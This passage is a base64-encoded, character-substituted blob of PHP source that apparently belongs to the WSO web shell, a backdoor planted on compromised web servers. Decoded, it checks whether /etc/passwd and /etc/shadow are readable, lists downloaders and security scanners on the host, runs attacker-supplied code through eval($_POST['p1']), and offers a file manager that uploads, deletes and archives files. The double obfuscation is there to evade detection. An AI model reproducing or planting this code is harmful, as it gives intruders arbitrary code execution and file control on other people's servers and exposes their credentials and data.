0KCXdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNG5jbDNkNSBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsNCgkkdDVtcD0xcnIxeSgpOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQoJCSR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIk1TU1FMIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJQMnN0Z3I1U1FMIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJzJjNF9jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiT3IxY2w1IjsNCgl3czJTNWNQMXIxbSgnUzNwcDJydDVkIGQxdDFiMXM1cycsIDRtcGwyZDUoJywgJywgJHQ1bXApKTsNCgk1Y2gyICc8YnI+JzsNCg0KCTRmKCRHTE9CQUxTWycycyddID09ICduNHgnKSB7DQoJCXdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KCQl3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9zaDFkMncnLCBANHNfcjUxZDFibDUoJy81dGMvc2gxZDJ3Jyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIjV0Y1wiLCBcInNoMWQyd1wiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQoJCXdzMlM1Y1AxcjFtKCdPUyB2NXJzNDJuJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvcHIyYy92NXJzNDJuJykpOw0KCQl3czJTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7DQoJCTRmKCEkR0xPQkFMU1snczFmNV9tMmQ1J10pIHsNCiAgICAgICAgICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7DQogICAgICAgICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCgkJCTVjaDIgJzxicj4nOw0KCQkJJHQ1bXA9MXJyMXkoKTsNCgkJCWYycjUxY2ggKCQzczVyZjNsIDFzICQ0dDVtKQ0KCQkJCTRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KCQkJd3MyUzVjUDFyMW0oJ1VzNXJmM2wnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCSR0NW1wPTFycjF5KCk7DQoJCQlmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKQ0KCQkJCTRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KCQkJd3MyUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KCQkJJHQ1bXA9MXJyMXkoKTsNCgkJCWYycjUxY2ggKCRkMndubDIxZDVycyAxcyAkNHQ1bSkNCgkJCQk0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCgkJCXdzMlM1Y1AxcjFtKCdEMndubDIxZDVycycsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KCQkJNWNoMiAnPGJyLz4nOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0hERCBzcDFjNScsIHdzMkV4KCdkZiAtaCcpKTsNCgkJCXdzMlM1Y1AxcjFtKCdIMnN0cycsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy9oMnN0cycpKTsNCgkJfQ0KCX0gNWxzNSB7DQoJCXdzMlM1Y1AxcjFtKCdPUyBWNXJzNDJuJyx3czJFeCgndjVyJykpOw0KCQl3czJTNWNQMXIxbSgnQWNjMjNudCBTNXR0NG5ncycsd3MyRXgoJ241dCAxY2MyM250cycpKTsNCgkJd3MyUzVjUDFyMW0oJ1VzNXIgQWNjMjNudHMnLHdzMkV4KCduNXQgM3M1cicpKTsNCgl9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUGhwKCkgew0KCTRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gdHIzNTsNCgkJMmJfc3QxcnQoKTsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCQkkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnUGhwTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnUGhwTzN0cDN0JykuNG5uNXJIVE1MPSciIC4gMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCgl3czJINTFkNXIoKTsNCgk0Zig0c3M1dCgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3BhJ10gPT0gJzRuZjInKSkgew0KCQk1Y2gyICc8aDY+UEhQIDRuZjI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3R5bDU+LnAge2MybDJyOiMwMDA7fTwvc3R5bDU+JzsNCgkJMmJfc3QxcnQoKTsNCgkJcGhwNG5mMigpOw0KCQkkdG1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywnJywkdG1wKTsNCgkJJHRtcCA9IHByNWdfcjVwbDFjNSgnIXRkLCB0aCB7KC4qKX0hbXM0VScsJy41LCAudiwgLmgsIC5oIHRoIHskNn0nLCR0bXApOw0KCQk1Y2gyIHN0cl9yNXBsMWM1KCc8aDYnLCc8aGEnLCAkdG1wKSAuJzwvZDR2Pjxicj4nOw0KCX0NCgk0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8aDY+RXg1YzN0NDJuIFBIUC1jMmQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iNGYodGg0cy4xajF4LmNoNWNrNWQpezEoXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSk7fTVsczV7ZyhcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1LFwnXCcpO31yNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT1jMmQ1IGNsMXNzPWI0ZzFyNTEgNGQ9UGhwQzJkNT4nLighNW1wdHkoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6JycpLic8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+JzsNCgk1Y2gyICcgPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVg8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSk7DQoJfQ0KCTVjaDIgJzwvcHI1PjwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgew0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5GNGw1IG0xbjFnNXI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybWQ0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQoJCQkJCQkkZiA9IDNybGQ1YzJkNSgkZik7DQoJCQkJCQk0Zig0c19kNHIoJGYpKQ0KCQkJCQkJCWQ1bDV0NUQ0cigkZik7DQoJCQkJCQk1bHM1DQoJCQkJCQkJQDNubDRuaygkZik7DQoJCQkJCX0NCgkJCQlicjUxazsNCgkJCWMxczUgJ3Axc3Q1JzoNCgkJCQk0ZigkX1NFU1NJT05bJzFjdCddID09ICdjMnB5Jykgew0KCQkJCQlmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQoJCQkJCQljMnB5X3Axc3Q1KCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ20ydjUnKSB7DQoJCQkJCWYzbmN0NDJuIG0ydjVfcDFzdDUoJGMsJHMsJGQpew0KCQkJCQkJNGYoNHNfZDRyKCRjLiRzKSl7DQoJCQkJCQkJbWtkNHIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQDJwNW5kNHIoJGMuJHMpOw0KCQkJCQkJCXdoNGw1ICgoJGYgPSBAcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCgkJCQkJCQkJNGYgKCgkZiAhPSAiLiIpIDFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gNWxzNTRmKEA0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQoJCQkJCQlAcjVuMW01KCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KCQkJCX0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHsNCgkJCQkJNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJF9TRVNTSU9OWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoQDRzX2Q0cigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVyMXQyciA9IG41dyBSNWMzcnM0djVJdDVyMXQyckl0NXIxdDJyKG41dyBSNWMzcnM0djVENHI1Y3QycnlJdDVyMXQycigkZi4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQ0dDVyMXQyciAxcyAkazV5PT4kdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KHI1MWxwMXRoKCRrNXkpLCAkazV5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICczbno0cCcpIHsNCgkJCQkJNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR6NHAtPjJwNW4oJF9TRVNTSU9OWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjV4dHIxY3RUMigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3QxcicpIHsNCiAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IDFycjF5X20xcCgnNXNjMXA1c2g1bGwxcmcnLCAkX1NFU1NJT05bJ2YnXSk7DQogICAgICAgICAgICAgICAgICAgIHdzMkV4KCd0MXIgY2Z6diAnIC4gNXNjMXA1c2g1bGwxcmcoJF9QT1NUWydwYSddKSAuICcgJyAuIDRtcGwyZDUoJyAnLCAkX1NFU1NJT05bJ2YnXSkpOw0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0NCgkJCQkzbnM1dCgkX1NFU1NJT05bJ2YnXSk7DQoJCQkJYnI1MWs7DQoJCQlkNWYxM2x0Og0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJCSRfU0VTU0lPTlsnMWN0J10gPSBAJF9QT1NUWydwNiddOw0KCQkJCQkkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsNCgkJCQkJZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkayA9PiAkZikNCgkJCQkJCSRfU0VTU0lPTlsnZiddWyRrXSA9IDNybGQ1YzJkNSgkZik7DQoJCQkJCSRfU0VTU0lPTlsnYyddID0gQCRfUE9TVFsnYyddOw0KCQkJCX0NCgkJCQlicjUxazsNCgkJfQ0KCX0NCgkkZDRyQzJudDVudCA9IEBzYzFuZDRyKDRzczV0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOw0KCTRmKCRkNHJDMm50NW50ID09PSBmMWxzNSkgewk1Y2gyICdDMW5cJ3QgMnA1biB0aDRzIGYybGQ1ciEnO3dzMkYyMnQ1cigpOyByNXQzcm47IH0NCglnbDJiMWwgJHMycnQ7DQoJJHMycnQgPSAxcnIxeSgnbjFtNScsIDYpOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTRmKHByNWdfbTF0Y2goJyFzXyhbQS16XSspXyhcZHs2fSkhJywgJF9QT1NUWydwNiddLCAkbTF0Y2gpKQ0KCQkJJHMycnQgPSAxcnIxeSgkbTF0Y2hbNl0sICg0bnQpJG0xdGNoW2FdKTsNCgl9DQo1Y2gyICI8c2NyNHB0Pg0KCWYzbmN0NDJuIHMxKCkgew0KCQlmMnIoND0wOzQ8ZC5mNGw1cy41bDVtNW50cy5sNW5ndGg7NCsrKQ0KCQkJNGYoZC5mNGw1cy41bDVtNW50c1s0XS50eXA1ID09ICdjaDVja2IyeCcpDQoJCQkJZC5mNGw1cy41bDVtNW50c1s0XS5jaDVjazVkID0gZC5mNGw1cy41bDVtNW50c1swXS5jaDVjazVkOw0KCX0NCjwvc2NyNHB0Pg0KPHQxYmw1IHc0ZHRoPSc2MDAlJyBjbDFzcz0nbTE0bicgYzVsbHNwMWM0bmc9JzAnIGM1bGxwMWRkNG5nPSdhJz4NCjxmMnJtIG4xbTU9ZjRsNXMgbTV0aDJkPXAyc3Q+PHRyPjx0aCB3NGR0aD0nNm9weCc+PDRucDN0IHR5cDU9Y2g1Y2tiMnggMm5jbDRjaz0nczEoKScgY2wxc3M9Y2hrYng+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfbjFtNV8iLigkczJydFs2XT8wOjYpLiJcIiknPk4xbTU8LzE+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfczR6NV8iLigkczJydFs2XT8wOjYpLiJcIiknPlM0ejU8LzE+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfbTJkNGZ5XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TTJkNGZ5PC8xPjwvdGg+PHRoPk93bjVyL0dyMjNwPC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfcDVybXNfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5QNXJtNHNzNDJuczwvMT48L3RoPjx0aD5BY3Q0Mm5zPC90aD48L3RyPiI7DQoJJGQ0cnMgPSAkZjRsNXMgPSAxcnIxeSgpOw0KCSRuID0gYzIzbnQoJGQ0ckMybnQ1bnQpOw0KCWYycigkND0wOyQ0PCRuOyQ0KyspIHsNCgkJJDJ3ID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSk7DQoJCSRnciA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkdG1wID0gMXJyMXkoJ24xbTUnID0+ICRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdwMXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdLA0KCQkJCQkgJ20yZDRmeScgPT4gZDF0NSgnWS1tLWQgSDo0OnMnLCBAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpLA0KCQkJCQkgJ3A1cm1zJyA9PiB3czJQNXJtc0MybDJyKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnczR6NScgPT4gQGY0bDVzNHo1KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnZ3IyM3AnID0+ICRnclsnbjFtNSddPyRnclsnbjFtNSddOkBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKQ0KCQkJCQkpOw0KCQk0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKQ0KCQkJJGY0bDVzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Y0bDUnKSk7DQoJCTVsczU0ZihANHNfbDRuaygkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKQ0KCQkJJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycsICdsNG5rJyA9PiByNTFkbDRuaygkdG1wWydwMXRoJ10pKSk7DQoJCTVsczU0ZihANHNfZDRyKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkmJiAoJGQ0ckMybnQ1bnRbJDRdICE9ICIuIikpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdkNHInKSk7DQoJfQ0KCSRHTE9CQUxTWydzMnJ0J10gPSAkczJydDsNCglmM25jdDQybiB3czJDbXAoJDEsICRiKSB7DQoJCTRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKQ0KCQkJcjV0M3JuIHN0cmNtcChzdHJ0MmwydzVyKCQxWyRHTE9CQUxTWydzMnJ0J11bMF1dKSwgc3RydDJsMnc1cigkYlskR0xPQkFMU1snczJydCddWzBdXSkpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KCQk1bHM1DQoJCQlyNXQzcm4gKCgkMVsnczR6NSddIDwgJGJbJ3M0ejUnXSkgPyAtNiA6IDYpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KCX0NCgkzczJydCgkZjRsNXMsICJ3czJDbXAiKTsNCgkzczJydCgkZDRycywgIndzMkNtcCIpOw0KCSRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkZjRsNXMpOw0KCSRsID0gMDsNCglmMnI1MWNoKCRmNGw1cyAxcyAkZikgew0KCQk1Y2gyICc8dHInLigkbD8nIGNsMXNzPWw2JzonJykuJz48dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0iZltdIiB2MWwzNT0iJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJyIgY2wxc3M9Y2hrYng+PC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9IicuKCgkZlsndHlwNSddPT0nZjRsNScpPydnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndjQ1d1wnKSI+Jy5odG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pOidnKFwnRjRsNXNNMW5cJyxcJycuJGZbJ3AxdGgnXS4nXCcpOyIgdDR0bDU9JyAuICRmWydsNG5rJ10gLiAnPjxiPlsgJyAuIGh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSkgLiAnIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT93czJWNDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10NCgkJCS4nPC90ZD48dGQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3I1bjFtNVwnKSI+UjwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3QyM2NoXCcpIj5UP